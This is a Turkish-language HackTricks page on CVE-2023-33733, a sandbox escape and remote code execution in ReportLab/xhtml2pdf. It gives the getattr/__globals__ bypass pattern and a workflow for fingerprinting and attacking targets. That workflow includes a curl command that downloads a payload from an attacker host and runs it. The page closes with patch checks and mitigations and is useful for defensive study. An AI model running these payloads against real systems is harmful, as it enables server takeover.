ReportLab/xhtml2pdf [[[…]]] expression-evaluation RCE (CVE-2023-33733)

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Bu sayfa, ReportLab’ın xhtml2pdf ve diğer PDF-üretim hattlarında kullanıcı kontrollü HTML’i PDF’e render ederken kullanılan rl_safe_eval’de pratik bir sandbox kaçışı ve RCE ilkelini belgeler.

CVE-2023-33733, ReportLab 3.6.12 dahil olmak üzere önceki sürümleri etkiler. Belirli öznitelik bağlamlarında (örneğin color) triple brackets [[[ … ]]] ile sarılmış değerler rl_safe_eval tarafından sunucu tarafında değerlendirilir. pow gibi beyaz listede olan bir builtin’den Python fonksiyon globals’ına pivot yapan bir payload hazırlayarak bir saldırgan os modülüne erişebilir ve komut çalıştırabilir.

Önemli noktalar

  • Tetik: ReportLab/xhtml2pdf tarafından parse edilen işaretleme içinde gibi değerlendirilen özniteliklere [[[ … ]]] enjekte edin.
  • Sandbox: rl_safe_eval tehlikeli builtinsleri değiştirir fakat değerlendirilen fonksiyonlar hala globals’ı açığa çıkarır.
  • Bypass: rl_safe_eval isim kontrollerini atlatmak ve engellenmiş dunder filtrelemeden kaçınırken “globals” string’ine erişmek için geçici bir Word sınıfı oluşturun.
  • RCE: getattr(pow, Word('__globals__'))['os'].system('<cmd>')
  • Kararlılık: Komut çalıştırıldıktan sonra öznitelik için geçerli bir değer döndürün (renk için ‘red’ kullanın).

Ne zaman test edilmeli

  • HTML-to-PDF export (profiller, faturalar, raporlar) sunan ve PDF metadata’sında veya HTTP yanıt yorumlarında xhtml2pdf/ReportLab gösteren uygulamalar.
  • exiftool profile.pdf | egrep ‘Producer|Title|Creator’ → “xhtml2pdf” producer
  • PDF için HTTP yanıtı genellikle bir ReportLab generator yorumu ile başlar

Sandbox atlatması nasıl çalışır

  • rl_safe_eval birçok builtin’i (getattr, type, pow, …) kaldırır veya değiştirir ve __ ile başlayan veya bir denylist’te olan isimleri reddetmek için isim filtrelemesi uygular.
  • Bununla birlikte, güvenli fonksiyonlar func.globals olarak erişilebilir bir globals sözlüğünde yaşar.
  • Gerçek builtin type fonksiyonunu kurtarmak için type(type(1)) kullanın (ReportLab’ın wrapper’ını atlatır), sonra şu davranışları değiştirilmiş bir str türevli Word sınıfı tanımlayın:
    • .startswith(‘’) → her zaman False (startswith(‘’) isim kontrolünü atlatır)
    • .eq ilk karşılaştırmada False döner (denylist üyelik kontrollerini atlatır) ve sonrasında True döner (böylece Python getattr çalışır)
    • .hash hash(str(self)) ile aynı olur
  • Bununla, getattr(pow, Word(‘globals’)) sarmalanmış pow fonksiyonunun globals sözlüğünü döndürür; bu sözlük import edilmiş bir os modülünü içerir. Ardından: ['os'].system('<cmd>').

Minimal sömürü deseni (öznitelik örneği) Payload’u değerlendirilen bir özniteliğin içine yerleştirin ve boolean ve ‘red’ ile öznitelik için geçerli bir değer döndüğünden emin olun.

exploit

  • Liste-kavramı formu rl_safe_eval için kabul edilebilir tek bir ifade olmasını sağlar.
  • Sonundaki and ‘red’ geçerli bir CSS rengi döndürür, böylece render bozulmaz.
  • Komutu gerektiği gibi değiştirin; tcpdump ile doğrulamak için ping kullanın.

Operasyonel iş akışı

  1. PDF üreticisini belirleyin
  • PDF Producer xhtml2pdf gösterir; HTTP yanıtı ReportLab yorumu içerir.
  1. PDF’e yansıtılan bir girdi bulun (ör. profil bio/description) ve bir export tetikleyin.
  2. Düşük-gürültülü ICMP ile çalıştırmayı doğrulayın
  • Çalıştırın: sudo tcpdump -ni <iface> icmp
  • Payload: … system('ping <your_ip>')
  • Windows genellikle varsayılan olarak tam olarak dört echo isteği gönderir.
  1. Bir shell kurun
  • Windows için güvenilir iki aşamalı yaklaşım tırnaklama/encode sorunlarından kaçınır:
  • Aşama 1 (indir):

exploit

  • Aşama 2 (çalıştır):

exploit

  • Linux hedefleri için curl/wget ile benzer iki aşamalı yöntem mümkündür:
  • system(‘curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s’)

Notlar ve ipuçları

  • Öznitelik bağlamları: color bilinen değerlendirilen bir özniteliktir; ReportLab işaretlemesindeki diğer öznitelikler de ifadeleri değerlendirebilir. Bir konum sanitize ediliyorsa, PDF akışına render edilen diğer konumları deneyin (farklı alanlar, tablo stilleri, vb.).
  • Tırnaklama: Komutları kısa tutun. İki aşamalı indirme tırnaklama ve escape sorunlarını büyük ölçüde azaltır.
  • Güvenilirlik: Eğer exportlar cache’leniyor veya sıraya alınıyorsa, cache’i tetiklememek için payload’u biraz değiştirin (ör. rastgele path veya query).

Yama durumu (2024–2025) ve geri taşımaları (backports) tanımlama

  • 3.6.13 (27 Apr 2023) colors.toColor’u bir AST-yürüyüş parser’ı ile yeniden yazdı; daha yeni 4.x sürümleri bu yolu koruyor. rl_settings.toColorCanUse öğesini rl_safe_eval veya rl_extended_literal_eval olarak zorlamak, mevcut sürümlerde bile savunmasız değerlendiriciyi yeniden etkinleştirir.
  • Bazı dağıtımlar sürüm numaralarını korurken geri taşınmış düzeltmelerle (ör. 3.6.12-1+deb12u1) gönderir; yalnızca semantik sürüme güvenmeyin. colors.py’de ast.parse için grep yapın veya güvenli parser’ın kullanıldığını doğrulamak için runtime’da toColor’ı inceleyin (aşağıdaki hızlı kontrola bakın).
  • AST tabanlı düzeltmenin mevcut olup olmadığını hızlı yerel kontrol:
python - <<'PY'
import inspect
from reportlab.lib import colors
src = inspect.getsource(colors.toColor)
print('AST-based toColor' if 'ast.parse' in src else 'rl_safe_eval still reachable')
PY

Önlemler ve tespit

  • ReportLab’i 3.6.13 veya daha yeni sürüme yükseltin (CVE-2023-33733 düzeltildi). Dağıtım paketlerindeki güvenlik duyurularını da takip edin.
  • Kullanıcı kontrollü HTML/işaretlemeyi xhtml2pdf/ReportLab’e, sıkı bir sanitizasyon olmadan doğrudan vermeyin. Güvenilmeyen girişlerde [[[…]]] değerlendirme yapılarını ve satıcıya özel etiketleri kaldırın/engelleyin.
  • Güvenilmeyen girdiler için rl_safe_eval kullanımını tamamen devre dışı bırakmayı veya sarmalamayı düşünün.
  • PDF oluşturulurken şüpheli giden bağlantıları izleyin (ör. doküman dışa aktarılırken uygulama sunucularından ICMP/HTTP).

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin